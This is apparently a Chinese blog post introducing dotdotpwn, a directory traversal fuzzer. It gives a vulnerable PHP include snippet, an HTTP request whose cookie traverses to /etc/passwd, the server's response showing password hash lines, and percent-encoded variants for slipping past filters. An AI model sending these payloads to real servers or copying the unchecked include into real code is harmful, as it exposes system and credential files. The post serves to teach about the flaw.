dotdotpwn

最新推荐文章于 2024-03-18 09:32:14 发布

iteye_16188

最新推荐文章于 2024-03-18 09:32:14 发布

阅读量233

点赞数

分类专栏：信息收集文章标签： php

本文链接：https://blog.csdn.net/iteye_16188/article/details/82608463

版权

信息收集专栏收录该内容

32 篇文章 0 订阅

订阅专栏

参考：[url]https://media.blackhat.com/bh-us-11/Arsenal/BH_US_11_Nitrous_DotDotPwn_Slides.pdf[/url]
[b]概述：[/b]
dotdotpwn是一个只能的灵活的模糊测试器，用来测试web/ftp/tftp中的目录遍历漏洞。web平台包括CMS，ERP，Blog等。同时它含有一个协议独立的模块用来向指定的主机和端口发送荷载。另一方面，它也别设计为可以使用STDOUT。它使用Perl语音编写，并且可以运行在*NIX和windows平台。
目录遍历漏洞是由于不充分验证/检查用户输入的文件名造成的。所以那些通过遍历到父目录的字符串通过API传递。这类这类攻击的目标是访问不应该访问的文件。目录遍历通常也是../(dot dot slash)攻击。
典型PHP代码如下：

<?php
	$template = "blue.php"
	if (isset($_COOKIE['TEMPLATE']))
		$template = $_COOKIE['TEMPLATE'];
	include ("/home/user/phpguru/templates/" . $template);
?>

使用如下的HTTP请求对这个系统进行攻击:

GET /vulenarale.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../etc/passwd

产生如下服务器响应:

HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache

root:fi3sED95ibpR6:0:1:System Operator:/:/bin/ksh
demo:*:1:1::/tmp:
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

一些web应用程序扫描请求来检查危险字符(来阻止目录遍历攻击)，例如：
..
..\
../
但是查询语句通常在URI使用之前解码。所以这些应用程序含有百分号编码的文件夹遍历漏洞，例如：
%2e%2e%2f 等效于 ../
%2e%2e/ 等效于 ../
..%2f 等效于 ../
%2e%2e%5c等效于 ..\

[b]架构：[/b]
[img]http://dl2.iteye.com/upload/attachment/0102/8261/09b9bc33-6648-32ed-aedd-874c6ac1e8b0.png[/img]

[b]Usage：[/b]
[img]http://dl2.iteye.com/upload/attachment/0102/8263/e1132a6d-a231-373b-b0b4-13b312ee478b.png[/img]

[b]Example：[/b]
HTTP
[img]http://dl2.iteye.com/upload/attachment/0102/8266/8af8b8df-67fb-3782-b7d8-c3c8f54c32a3.png[/img]
FTP：
[img]http://dl2.iteye.com/upload/attachment/0102/8268/1c6cddc8-3fc2-394a-9800-4bfdbae6afb7.png[/img]